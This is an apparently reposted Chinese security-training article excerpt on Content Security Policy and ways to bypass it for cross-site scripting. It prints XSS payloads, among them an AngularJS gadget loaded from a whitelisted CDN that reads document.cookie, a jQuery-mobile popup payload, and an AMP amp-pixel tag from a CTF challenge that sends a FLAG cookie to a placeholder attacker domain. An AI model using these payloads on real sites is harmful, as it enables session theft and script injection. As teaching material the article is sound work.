本文来源:蚁景科技
XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。
本文涉及相关实验:这一payload,用-->
来闭合前面的注释,来让后面内容完全可控
两者结合,得出最终payload
exp
!-- foo="-->
script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
/script>
div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
/div>
//sssss" -->
详细内容看Orange师傅的文章
如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp
div data-role=popup id='script>alert(1)/script>'>/div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)">/amp-pixel>
总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在Breaking XSS mitigations via Script Gadgets中总结了可以被用来CDN绕过的一些JS库,可以用作参考
CDN服务商存在低版本的js库
该CDN服务商在CSP白名单中
站点可控静态资源绕过
转载请注明来自网盾网络安全培训,本文标题:《CSP浅析与绕过》
猜你喜欢
- 关于我们